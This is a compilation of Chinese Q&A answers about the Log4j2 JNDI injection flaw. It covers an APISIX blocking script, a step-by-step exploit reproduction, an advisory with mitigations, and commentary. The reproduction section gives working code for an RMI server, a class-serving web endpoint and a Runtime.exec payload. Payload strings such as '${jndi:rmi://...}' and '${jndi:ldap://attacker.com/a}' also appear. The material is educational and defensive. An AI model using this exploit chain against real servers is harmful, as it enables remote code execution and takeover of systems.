从该漏洞复现过程我们可以分析出,利用该漏洞的关键步骤是构造恶意的 payload,类似于

{xxxxx//attacker.com/a}

在官方发布完全修复版本以及当前环境升至修复版本之前,需要一种临时措施来拦截携带改恶意负载的请求,保护服务不受该漏洞的在野攻击。

Apache APISIX 应对措施

我们可以在 Apache APISIX 上过滤请求负载,用正则匹配恶意的 payload 的关键词,并对其进行拦截。

假设 payload 的关键字为 “xxxxx”,可以用 serverless 插件执行自定义拦截脚本,配置示例如下:

curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
    "uri": "/\*",
    "plugins":{
        "serverless-pre-function":{
            "phase":"rewrite",
            "functions":\[
                "return function(conf, ctx) local core = require(\\"apisix.core\\"); local payload, err = core.request.get\_body(); if not payload then local uri\_args, err = core.request.get\_uri\_args(ctx)\\n if uri\_args then payload = core.json.encode(uri\_args, true) end; end; local m = ngx.re.match(payload, \\"xxxxx\\", \\"jo\\"); if m then ngx.exit(403) end; end"
            \]
        }
    },
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "127.0.0.1:1980": 1
        }
    }
}'

注意:上述配置中 serverless-pre-function 相关的配置是自定义脚本部分。其他配置为 Apache APISIX 常规配置,请根据实际情况调整。

上述 functions 字段对应的脚本中主要做了以下事情

  1. 提取请求负载(包括 GET 请求的 URL 传参方式和 POST/PUT 请求体传参方式)
  2. 正则匹配恶意负载
  3. 拦截携带恶意负载的请求

该脚本提供了处理此类恶意负载请求的实现思路,主要是进行捕获攻击特征,比如 jndi 关键字等。大家可以根据自己的需求,对该脚本进行完善或者优化。

验证

拦截在 GET 请求参数中携带恶意负载

curl -I 'http://127.0.0.1:9080/hello?foo=${xxxxx//attacker.com/a}'
HTTP/1.1 403 Forbidden
……

拦截在 POST 请求体 (application/json) 中携带恶意负载

curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: application/json' -X POST -d '
{
  "foo": "${xxxxx//attacker.com/a}"
}'
HTTP/1.1 403 Forbidden
……

拦截在 POST 请求体 (text/plain) 中携带恶意负载

curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: text/plain' -X POST -d '
{xxxxx//attacker.com/a}'
HTTP/1.1 403 Forbidden
……

拦截在 POST 请求体 (application/x-www-form-urlencoded,不对请求体进行 URL 编码) 中携带恶意负载

curl -i 'http://127.0.0.1:9080/hello' -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d '
foo=${xxxxx//attacker.com/a}'
HTTP/1.1 403 Forbidden
……

关于 Apache APISIX

Apache APISIX 是一个动态、实时、高性能的开源 API 网关,提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX 可以帮助企业快速、安全地处理 API 和微服务流量,包括网关、Kubernetes Ingress 和服务网格等。

Apache APISIX 落地用户(仅部分)

知乎用户 沉默王二​ 发表

重现了一波 Log4j2 核弹级漏洞,同事的电脑沦为炮灰。

大概你也已经听说了,造成 Log4j2 核弹级漏洞的” 罪魁祸首 “是 JNDI,我们就来聊聊它吧。本篇回答通过对 Log4j2 漏洞的分析,不仅带大家了解了 JNDI 的基础知识,而且完美重现了一次基于 JNDI 的工具。

以下内容来自我的好朋友二师兄,想看原文的可以戳这里:重现了一波 Log4j2 核弹级漏洞,同事的电脑沦为炮灰


说起 JNDI,从事 Java EE 编程的人应该都在用着,但知不知道自己在用,那就看你对技术的钻研深度了。这次 Log4j2 曝出漏洞,不正说明大量项目或直接或间接的在用着 JNDI。来看看 JNDI 到底是个什么鬼吧?

先来看看 Sun 官方的解释:

Java 命名和目录接口(Java Naming and Directory Interface ,JNDI)是用于从 Java 应用程序中访问名称和目录服务的一组 API。命名服务即将名称与对象相关联,以便能通过相应名称访问这些对象。而目录服务即其对象具有属性及名称的命名服务。
命名或目录服务允许你集中管理共享信息的存储,这在网络应用程序中很重要,因为它可以使这类应用程序更加一致和易于管理。例如,可以将打印机配置存储在目录服务中,这样所有与打印机相关的应用程序都能够使用它。

概念是不是很抽象,读了好几遍都没懂?一图胜千言:

看着怎么有点注册中心的意思?是的,如果你使用过 Nacos 或读过 Nacos 的源码,Naming Service 这个概念一定很熟悉。在 JNDI 中,虽然实现方式不同、应用场景不同,但并不影响你通过类比注册中心的方式来理解 JNDI。

如果你说没用过 Nacos,那好,Map 总用过吧。忽略掉 JNDI 与 Map 底层实现的区别,JNDI 提供了一个类似 Map 的绑定功能,然后又提供了基于 lookup 或 search 之类的方法来根据名称查找 Object,好比 Map 的 get 方法。

总之,JNDI 就是一个规范,规范就需要对应的 API(也就是一些 Java 类)来实现。通过这组 API,可以将 Object(对象)和一个名称进行关联,同时提供了基于名称查找 Object 的途径。

最后,对于 JNDI,SUN 公司只是提供了一个接口规范,具体由对应的服务器来实现。比如,Tomcat 有 Tomcat 的实现方式,JBoss 有 JBoss 的实现方式,遵守规范就好。

命名服务与目录服务的区别

命名服务就是上面提到的,类似 Map 的绑定与查找功能。比如:在 Internet 中的域名服务(domain naming service,DNS),就是提供将域名映射到 IP 地址的命名服务,在浏览器中输入域名,通过 DNS 找到相应的 IP 地址,然后访问网站。

目录服务是对命名服务的扩展,是一种特殊的命名服务,提供了属性与对象的关联和查找。一个目录服务通常拥有一个命名服务(但是一个命名服务不必具有一个目录服务)。比如电话簿就是一个典型的目录服务,一般先在电话簿里找到相关的人名,再找到这个人的电话号码。

目录服务允许属性(比如用户的电子邮件地址)与对象相关联(而命名服务则不然)。这样,使用目录服务时,可以基于对象的属性来搜索它们。

JNDI 架构分层

JNDI 通常分为三层:

  • JNDI API:用于与 Java 应用程序与其通信,这一层把应用程序和实际的数据源隔离开来。因此无论应用程序是访问 LDAP、RMI、DNS 还是其他的目录服务,跟这一层都没有关系。
  • Naming Manager:也就是我们提到的命名服务;
  • JNDI SPI(Server Provider Interface):用于具体到实现的方法上。

整体架构分层如下图:

需要注意的是:JNDI 同时提供了应用程序编程接口(Application Programming Interface ,API)和服务提供程序接口(Service Provider Interface ,SPI)。

这样做对于与命名或目录服务交互的应用程序来说,必须存在一个用于该服务的 JNDI 服务提供程序,这便是 JNDI SPI 发挥作用的舞台。

一个服务提供程序基本上就是一组类,对特定的命名和目录服务实现了各种 JNDI 接口——这与 JDBC 驱动程序针对特定的数据系统实现各种 JDBC 接口极为相似。作为开发人员,不需要担心 JNDI SPI。只需确保为每个要使用的命名或目录服务提供了一个服务提供程序即可。

JNDI 的应用

下面再了解一下 JNDI 容器的概念及应用场景。

JNDI 容器环境

JNDI 中的命名(Naming),就是将 Java 对象以某个名称的形式绑定(binding)到一个容器环境(Context)中。当使用时,调用容器环境(Context)的查找(lookup)方法找出某个名称所绑定的 Java 对象。

容器环境(Context)本身也是一个 Java 对象,它也可以通过一个名称绑定到另一个容器环境(Context)中。将一个 Context 对象绑定到另外一个 Context 对象中,这就形成了一种父子级联关系,多个 Context 对象最终可以级联成一种树状结构,树中的每个 Context 对象中都可以绑定若干个 Java 对象。

JNDI 应用

JNDI 的基本使用操作就是:先创建一个对象,然后放到容器环境中,使用的时候再拿出来。

此时,你是否疑惑,干嘛这么费劲呢?换句话说,这么费劲能带来什么好处呢?

在真实应用中,通常是由系统程序或框架程序先将资源对象绑定到 JNDI 环境中,后续在该系统或框架中运行的模块程序就可以从 JNDI 环境中查找这些资源对象了。

关于 JDNI 与我们实践相结合的一个例子是 JDBC 的使用。在没有基于 JNDI 实现时,连接一个数据库通常需要:加载数据库驱动程序、连接数据库、操作数据库、关闭数据库等步骤。而不同的数据库在对上述步骤的实现又有所不同,参数也可能发生变化。

如果把这些问题交由 J2EE 容器来配置和管理,程序就只需对这些配置和管理进行引用就可以了。

以 Tomcat 服务器为例,在启动时可以创建一个连接到某种数据库系统的数据源(DataSource)对象,并将该数据源(DataSource)对象绑定到 JNDI 环境中,以后在这个 Tomcat 服务器中运行的 Servlet 和 JSP 程序就可以从 JNDI 环境中查询出这个数据源(DataSource)对象进行使用,而不用关心数据源(DataSource)对象是如何创建出来的。

这种方式极大地增强了系统的可维护性,即便当数据库系统的连接参数发生变更时,也与应用程序开发人员无关。JNDI 将一些关键信息放到内存中,可以提高访问效率;通过 JNDI 可以达到解耦的目的,让系统更具可维护性和可扩展性。

JNDI 实战

有了以上的概念和基础知识,现在可以开始实战了。

在架构图中,JNDI 的实现层中包含了多种实现方式,这里就基于其中的 RMI 实现来写个实例体验一把。

基于 RMI 的实现

RMI 是 Java 中的远程方法调用,基于 Java 的序列化和反序列化传递数据。

可以通过如下代码来搭建一个 RMI 服务:

// ①定义接口
public interface RmiService extends Remote {
 String sayHello() throws RemoteException;
}

// ②接口实现
public class MyRmiServiceImpl extends UnicastRemoteObject implements RmiService {
 protected MyRmiServiceImpl() throws RemoteException {
 }

 @Override
 public String sayHello() throws RemoteException {
  return "Hello World!";
 }
}

// ③服务绑定并启动监听
public class RmiServer {

 public static void main(String\[\] args) throws Exception {
  Registry registry = LocateRegistry.createRegistry(1099);
  System.out.println("RMI启动,监听:1099 端口");
  registry.bind("hello", new MyRmiServiceImpl());
  Thread.currentThread().join();
 }
}

上述代码先定义了一个 RmiService 的接口,该接口实现了 Remote,并对 RmiService 接口进行了实现。在实现的过程中继承了 UnicastRemoteObject 的具体服务实现类。

最后,在 RmiServer 中通过 Registry 监听 1099 端口,并将 RmiService 接口的实现类进行了绑定。

下面构建客户端访问:

public class RmiClient {

 public static void main(String\[\] args) throws Exception {
  Hashtable env = new Hashtable();
  env.put(Context.INITIAL\_CONTEXT\_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
  env.put(Context.PROVIDER\_URL, "rmi://localhost:1099");
  Context ctx = new InitialContext(env);
  RmiService service = (RmiService) ctx.lookup("hello");
  System.out.println(service.sayHello());
 }
}

其中,提供了两个参数Context.INITIAL_CONTEXT_FACTORYContext.PROVIDER_URL,分别表示 Context 初始化的工厂方法和提供服务的 url。

执行上述程序,就可以获得远程端的对象并调用,这样就实现了 RMI 的通信。当然,这里 Server 和 Client 在同一台机器,就用了”localhost“的,如果是远程服务器,则替换成对应的 IP 即可。

构建攻击

常规来说,如果要构建攻击,只需伪造一个服务器端,返回恶意的序列化 Payload,客户端接收之后触发反序列化。但实际上对返回的类型是有一定的限制的。

在 JNDI 中,有一个更好利用的方式,涉及到命名引用的概念javax.naming.Reference

如果一些本地实例类过大,可以选择一个远程引用,通过远程调用的方式,引用远程的类。这也就是 JNDI 利用 Payload 还会涉及 HTTP 服务的原因。

RMI 服务只会返回一个命名引用,告诉 JNDI 应用该如何去寻找这个类,然后应用则会去 HTTP 服务下找到对应类的 class 文件并加载。此时,只要将恶意代码写入 static 方法中,则会在类加载时被执行。

基本流程如下:

修改 RmiServer 的代码实现:

public class RmiServer {

 public static void main(String\[\] args) throws Exception {
  System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
  Registry registry = LocateRegistry.createRegistry(1099);
  System.out.println("RMI启动,监听:1099 端口");
  Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:8000/");
  ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  registry.bind("hello", referenceWrapper);

  Thread.currentThread().join();
 }
}

由于采用的 Java 版本较高,需先将系统变量 com.sun.jndi.rmi.object.trustURLCodebase 设置为 true。

其中绑定的 Reference 涉及三个变量:

  • className:远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载;
  • classFactory:远程的工厂类;
  • classFactoryLocation:工厂类加载的地址,可以是 file://、ftp://、http:// 等协议;

此时,通过 Python 启动一个简单的 HTTP 监听服务:

192:~ zzs$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

打印日志,说明在 8000 端口进行了 http 的监听。

对应的客户端代码修改为如下:

public class RmiClient {

 public static void main(String\[\] args) throws Exception {
  System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
  Hashtable env = new Hashtable();
  env.put(Context.INITIAL\_CONTEXT\_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
  env.put(Context.PROVIDER\_URL, "rmi://localhost:1099");
  Context ctx = new InitialContext(env);
  ctx.lookup("hello");
 }
}

执行,客户端代码,发现 Python 监听的服务打印如下:

127.0.0.1 - - \[12/Dec/2021 16:19:40\] code 404, message File not found
127.0.0.1 - - \[12/Dec/2021 16:19:40\] "GET /Calc.class HTTP/1.1" 404 -

可见,客户端已经去远程加载恶意 class(Calc.class)文件了,只不过 Python 服务并没有返回对应的结果而已。

进一步改造

上述代码证明了可以通过 RMI 的形式进行攻击,下面基于上述代码和 Spring Boot Web 服务的形式进一步演示。通过 JNDI 注入 + RMI 的形式调用起本地的计算器。

上述的基础代码不变,后续只微调 RmiServer 和 RmiClient 类,同时添加一些新的类和方法。

第一步:构建攻击类

创建一个攻击类 BugFinder,用于启动本地的计算器:

public class BugFinder {

 public BugFinder() {
  try {
   System.out.println("执行漏洞代码");
   String\[\] commands = {"open", "/System/Applications/Calculator.app"};
   Process pc = Runtime.getRuntime().exec(commands);
   pc.waitFor();
   System.out.println("完成执行漏洞代码");
  } catch (Exception e) {
   e.printStackTrace();
  }
 }

 public static void main(String\[\] args) {
  BugFinder bugFinder = new BugFinder();
 }

}

本人是 Mac 操作系统,代码中就基于 Mac 的命令实现方式,通过 Java 命令调用 Calculator.app。同时,当该类被初始化时,会执行启动计算器的命令。

将上述代码进行编译,存放在一个位置,这里单独 copy 出来放在了”/Users/zzs/temp/BugFinder.class“路径,以备后用,这就是攻击的恶意代码了。

第二步:构建 Web 服务器

Web 服务用于 RMI 调用时返回攻击类文件。这里采用 Spring Boot 项目,核心实现代码如下:

@RestController
public class ClassController {

 @GetMapping(value = "/BugFinder.class")
 public void getClass(HttpServletResponse response) {
  String file = "/Users/zzs/temp/BugFinder.class";
  FileInputStream inputStream = null;
  OutputStream os = null;
  try {
   inputStream = new FileInputStream(file);
   byte\[\] data = new byte\[inputStream.available()\];
   inputStream.read(data);
   os = response.getOutputStream();
   os.write(data);
   os.flush();
  } catch (Exception e) {
   e.printStackTrace();
  } finally {
   // 省略流的判断关闭;
  }
 }
}

在该 Web 服务中,会读取 BugFinder.class 文件,并返回给 RMI 服务。重点提供了一个 Web 服务,能够返回一个可执行的 class 文件。

第三步:修改 RmiServer

对 RmiServer 的绑定做一个修改:

public class RmiServer {

 public static void main(String\[\] args) throws Exception {
  System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
  Registry registry = LocateRegistry.createRegistry(1099);
  System.out.println("RMI启动,监听:1099 端口");
  Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", "http://127.0.0.1:8080/BugFinder.class");
  ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  registry.bind("hello", referenceWrapper);

  Thread.currentThread().join();
 }
}

这里 Reference 传入的参数就是攻击类及远程下载的 Web 地址。

第四步:执行客户端代码

执行客户端代码进行访问:

public class RmiClient {

 public static void main(String\[\] args) throws Exception {
  System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
  Hashtable env = new Hashtable();
  env.put(Context.INITIAL\_CONTEXT\_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
  env.put(Context.PROVIDER\_URL, "rmi://localhost:1099");
  Context ctx = new InitialContext(env);
  ctx.lookup("hello");
 }
}

本地计算器被打开:

基于 Log4j2 的攻击

上面演示了基本的攻击模式,基于上述模式,我们再来看看 Log4j2 的漏洞攻击。

在 Spring Boot 项目中引入了 log4j2 的受影响版本:

<dependency>
 <groupId>org.springframework.boot</groupId>
 <artifactId>spring-boot-starter-web</artifactId>
 <exclusions><!-- 去掉springboot默认配置 -->
  <exclusion>
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter-logging</artifactId>
   </exclusion>
  </exclusions>
</dependency>

<dependency> <!-- 引入log4j2依赖 -->
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

这里需要注意,先排除掉 Spring Boot 默认的日志,否则可能无法复现 Bug。

修改一下 RMI 的 Server 代码:

public class RmiServer {

 public static void main(String\[\] args) throws Exception {
  System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
  Registry registry = LocateRegistry.createRegistry(1099);
  System.out.println("RMI启动,监听:1099 端口");
  Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", null);
  ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  registry.bind("hello", referenceWrapper);
  Thread.currentThread().join();
 }
}

这里直接访问 BugFinder,JNDI 绑定名称为:hello。

客户端引入 Log4j2 的 API,然后记录日志:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class RmiClient {

 private static final Logger logger = LogManager.getLogger(RmiClient.class);

 public static void main(String\[\] args) throws Exception {
  System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
  logger.error("${jndi:rmi://127.0.0.1:1099/hello}");
  Thread.sleep(5000);
 }
}

日志中记录的信息为 “${jndi:rmi://127.0.0.1:1099/hello}”,也就是 RMI Server 的地址和绑定的名称。

执行程序,发现计算器被成功打开。

当然,在实际应用中,logger.error 中记录的日志信息,可能是通过参数获得,比如在 Spring Boot 中定义如下代码:

@RestController
public class Log4jController {

 private static final Logger logger = LogManager.getLogger(Log4jController.class);

 /\*\*
  \* 方便测试,用了get请求
  \* @param username 登录名称
  \*/
 @GetMapping("/a")
 public void log4j(String username){
  System.out.println(username);
  // 打印登录名称
  logger.info(username);
 }
}

在浏览器中请求 URL 为:

http://localhost:8080/a?username=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A1099%2Fhello%7D

其中 username 参数的值就是 “${jndi:rmi://127.0.0.1:1099/hello}” 经过 URLEncoder#encode 编码之后的值。此时,访问该 URL 地址,同样可以将打开计算器。

至于 Log4j2 内部逻辑漏洞触发 JNDI 调用的部分就不再展开了,感兴趣的朋友在上述实例上进行 debug 即可看到完整的调用链路。

-—

本文涉及到的代码都是本人

@沉默王二

亲自实验过的,强烈建议大家也跑一遍代码,真切感受一下如何实现攻击逻辑。

JNDI 注入事件不仅在 Log4j2 中发生过,而且在大量其他框架中也有出现。虽然 JDNI 为我们带来了便利,但同时也带了风险。不过在实例中大家也看到在 JDK 的高版本中,不进行特殊设置(com.sun.jndi.rmi.object.trustURLCodebase 设置为 true),还是无法触发漏洞的。这样也多少让人放心一些。

注:切勿随意攻击,学习就好~~~~~~

知乎用户 匿名用户 发表

谢谢 刚应急完

知乎用户 qwe 发表

Apache Log4j 爆今年最大漏洞,这个漏洞的严重性堪称今年之最,灾难等级为核弹级。

Log4j-2 中存在 JNDI 注入漏洞,攻击者仅需向目标输入一段代码,不需要用户执行任何多余操作即可触发该漏洞,使攻击者可以远程控制用户服务器,执行任意代码。

知乎用户 编程技术指南 发表

昨晚,Apache Log4j2 的远程代码执行漏洞刷爆朋友圈,该漏洞一旦被攻击者利用会造成严重危害。而且此次漏洞影响巨大,很多网站如百度等都是此次 Log4j 远程代码执行漏洞的受害者,很多互联网企业也都连夜做了应急措施。

这个 BUG 太严重了,十多个小时前,互联网上曝出了 Apache Log4j2 中的远程代码执行漏洞,攻击者可利用此漏洞构造特殊的数据请求包,最终触发远程代码执行。

要知道,绝大部分的 Java 应用用的都是 Log4j 的包记录日志,而很多互联网公司用的是 Log4j2,据 “白帽” 分析确认,几乎所有技术巨头如百度等都是该 Log4j 远程代码执行漏洞的受害者。

漏洞原理官方表述是:Apache Log4j2 中存在 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行。

由于 Apache Log4j2 的某些函数具有递归分析函数,因此攻击者可以直接构造恶意请求来触发远程代码执行漏洞。

Apache Log4j2

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

漏洞检测方案

1、通过流量监测设备监控是否有相关 DNSLog 域名的请求

2、通过监测相关日志中是否存在 “jndi:ldap://”、“jndi:rmi” 等字符来发现可能的攻击行为。

漏洞详情:

Apache Log4j 远程代码执行漏洞 严重程度: 严重由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置**漏洞情况分析:**Apache Log4j 是一个基于 Java 的日志记录组件。Apache Log4j2 是 Log4j 的升级版本,通过重写 Log4j 引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Log4j2 组件在处理程序日志记录时存在 JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发 Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

漏洞编号:暂缺漏洞

**等级:**高危,该漏洞影响范围极广,危害极大。

**CVSS 评分:**10(最高级)漏洞状态:

![](data:image/svg+xml;utf8,)

**受影响的版本:**Apache log4j2 2.0 - 2.14.1 版本均受影响。

**安全版本:**Apache log4j-2.15.0-rc2

易受攻击代码示例:

import org.apache.log4j.Logger;
import java.io.\*;
import java.sql.SQLException;
import java.util.\*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
  static Logger log = Logger.getLogger(log4jExample.class.getName());
  /\*\*
   \* A simple HTTP endpoint that reads the request's User Agent and logs it back.
   \* This is basically pseudo-code to explain the vulnerability, and not a full example.
   \* @param he HTTP Request Object
   \*/
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);
    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

漏洞修复方案:

Apache 官方已发布补丁,建议受影响的用户尽快升级到安全版本。

补丁下载地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

漏洞缓解措施:

(1)jvm 参数 -Dlog4j2.formatMsgNoLookups=true

(2)log4j2.formatMsgNoLookups=True

(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

因该组件使用极为广泛,利用门槛很低,危害极大,建议所有用户尽快升级到安全版本。

请联系厂商获取修复后的官方版本:

https://github.com/apache/logging-log4j2

目前最新版本 2.15.0

现在网上公开的仓库还下载不到解决漏洞的 Log4j2 2.15.0 版本,需要自己编译源码获取 Jar 包,我这里有一份,漏洞高危,建议紧急替换:
Log4j2 2.15.0 jar 包下载:

下载包

在官方没有更新前,可以做的事情:

1、排查应用是否引入了 Apache log4j-core Jar 包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响。请尽快升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

2、升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

3、可升级 jdk 版本至 6u211 / 7u201 / 8u191 / 11.0.1 以上,可以在一定程度上限制 JNDI 等漏洞利用方式。

相关链接

1、https://github.com/apache/logging-log4j2

2、https://github.com/advisories/GHSA-jfh8-c2jp-5v3q

如果你用的阿里云环境,可以参考:
1)云盾 WAF 已可防护该类漏洞,并提供 7 天免费漏洞应急服务,为您争取漏洞修复时间,应急开通地址:https://c.tb.cn/I3.XzCtR

2)阿里云云安全中心应用漏洞模块已支持对该漏洞一键检测

3)阿里云云防火墙已可防御此漏洞攻击

知乎用户 苏安​ 发表

这件事情揭露了政府的政策法规没有人在遵守的事实。

安全厂家挖洞后先自用再报给厂商,然后就是发 “漏洞预警” 安利推销自家产品。在约等于公开的情况下 (漏洞从通告到出 poc 大多数情况下只需要 diff 很短的时间)各大安全厂商跟进争着安利自家产品。

“要么赶紧下补丁,要么就用我们家得策略”

脚本小子看到有人发 poc 就开始无视网络安全法,各种扫各种插。到现在我已经看到了百度搜索 苹果 icloud jd 搜索 360 搜索 这些大厂的攻击截图。

log4j 作为 “基础库”(注意引号)漏洞影响范围太大了

单拿百度来说,如此突如其来的漏洞,虽说官方发了 rc 但是谈何修起呢?一家大厂多少业务多少 java?应急怕是都来不及吧。别说整个互联网了。

总的来说互联网是脆弱的,在现有的法律法规无法约束国内的安全厂商和安全人员的情况下不知道下次要出个无条件 rce 这个世界会是什么样子。

堵不如疏,希望这一天早点到来吧。

在这一天到来之前 log4j 必将接过 shiro/s2/fastjson 等历史漏洞的大旗继续养活着广大安全行业的从业者

题外话:

某云发布漏洞通告大概十分钟不到的时间 我就在我司的群里拿到了 poc 当我去打目标的时候 发现 waf 已经拦截了(测试过了 是针对现在流传的那个 poc 的规则)

不得不说 应急的挺快

知乎用户 小菜鸡 发表

知乎用户 啥也不会噢 发表

他奶奶的。我一个人搞 20 几个项目升级,全公司都在加班搞。我到现在都还没有下班。几百个 jar 包冲突。搞死我了。

知乎用户 匿名用户 发表

对于我这个吃瓜脚本小子,只能说简直就像狂欢一样。

别问我怎么怎么复现,问就是看 patch 自己摸索(

知乎用户 while(true) 发表

有没有大佬说下修复完了怎么验证啊?我百度了半天,本地输入 jndi 表达式也没啥问题呀。rc2 也打包完了,不知道行不行。

知乎用户 狐狸 发表

晚上好,夜之城!昨天的漏洞复现,最后结果是满打满算的整整三百个!多亏了没完没了的脚本小子,光安全公司就发了十篇公众号。但有一位阿里云直接公布漏洞了,我看你们全得赔钱,因为《网络产品安全漏洞管理规定》 肯定咽不下这口气。

安全公司再次通宵加班。apache 遭人破坏,又是网络黑客干的好事。与此同时,甲方公司的安全小组还在公司资产里替漏洞的受害者擦屁股。而在漏洞平台呢… 好吧… 漏洞平台还是那个不收漏洞的漏洞平台。我是你们的脚本老狐狸。和我一起,开始加班的新一晚吧。


不扯淡了,从昨天到今晚,几乎全国(可能全世界)的安全公司都在应急响应,安全运维在过清明节,脚本小子在过年,众测白帽正说过年了——忽然发现各大漏洞平台都不收 log4j 的漏洞了,属于是乐极生悲。

这个漏洞的范围非常大,去找哪些网站用了它还不如去找谁没用它。而易用性更是简单到一个有框就能验证的地步了。但危害性,任意代码执行,lmao,这漏洞可比 shiro 离谱多了。

剩下的待会写 加了一天班了先派派一会

知乎用户 360 小安​ 发表

12 月 11 日,360 安全大脑监测到有黑客疑似利用 Apache Log4j 2 漏洞(编号 CVE-2021-44228)对 Minecraft(游戏名称 “我的世界”)Java 版发起大规模攻击,最高峰时段每小时有超过 10000 个玩家遭到了攻击。

据悉,该漏洞危害严重,利用方式简单,影响广泛,凡使用 Java 应用的用户电脑都有被波及的风险,其破坏力或将堪比 2017“永恒之蓝” 病毒。远程控制的黑客可以利用该漏洞引导受害者去做任何指令,包括安装插件、盗号、盗取资料等等高危行为,危害用户网络、财产安全,风险极大。对此,360 安全团队第一时间推出终端网络层拦截工具,率先对该漏洞进行拦截,升级最新版 360 安全卫士即可使用。

互联网服务提供应商首当其冲 个人用户也难以逃脱

Apache Log4j 是一个基于 Java 的日志记录工具,是 Apache 软件基金会下的一个开源项目。而此次出现漏洞的 Apache Log4j 2 则是目前该项目的最新版本,且被广泛地应用于各种常见的 Web 服务中。而所有使用 Java 作为开发语言产品研发的互联网服务提供商、甚至公司 OA 系统等提供外部服务的应用只要用 Apache Log4j 2 插件,都极有可能遭受攻击。

攻击者仅需向目标输入一段代码,不需要用户执行任何多余操作即可触发该漏洞,使攻击者可以远程控制用户受害者服务器,凡是基于 java 开发的应用平台都可能会受到影响。目前,IT 通信(互联网)、高校、工业制造、金融、政府、医疗卫生、运营商等几乎所有行业都受到该漏洞波及,全球知名科技公司、电商网站等也未能幸免。

而且个人用户也难以幸免。黑客利用最新曝光的 Log4j 2 漏洞对 Minecraft 玩家发起攻击,且攻击方法极为简单,聊天窗口发个网址即可触发该漏洞。攻击最早发生于 12 月 10 日,早期攻击规模较小,第一天检测到的受攻击玩家数量在 100 左右。12 月 11 日 12 时起,黑客发起大规模攻击,从 12 时开始到目前,平均每小时有近 5000 个 Mincraft 玩家遭到攻击,攻击最高峰时有超过 10000 个玩家遭到攻击。

360 安全卫士率先推出终端网络层拦截工具

在监测到黑客利用 Apache Log4j2 漏洞对 Minecraft 玩家发起攻击后,360 安全团队第一时间响应,已针对该漏洞率先推出拦截方案,可以保护用户电脑不被触发该漏洞,并进行修复。广大用户可前往 360 卫士官网(https://weishi.360.cn/)下载最新版本 360 安全卫士,即可立即获取 Apache Log4j 2 拦截方案。

360 网络安全专家预警,若该漏洞的传播攻击范围未得到及时控制,其破坏力或将堪比 2017“永恒之蓝” 病毒,受害者未必会有明显感知,但是远程控制的黑客可以利用该漏洞引导受害者去做任何指令,安装插件、盗号、盗取资料等等高危行为,危害用户网络、财产安全,风险极大。

知乎用户 Wingo 发表

一觉起来发现和世界末日擦肩而过,还好安卓是自己写的日志系统,没有用 Java 的。不然这么简单的触发条件啊啊啊啊,理论上绝大部分人的手机都可以直接远程执行指定网站上的任意 Java 程序,…(讲个笑话:远程代码执行漏洞还是最高安级别 hhhh),Java 底层出问题…..emmmm 怎么说呢… 吃瓜吃瓜,我就安安静静的吃瓜 hhhhh

知乎用户 前端实验室​ 发表

可怜的百度…

Apache Log4j2

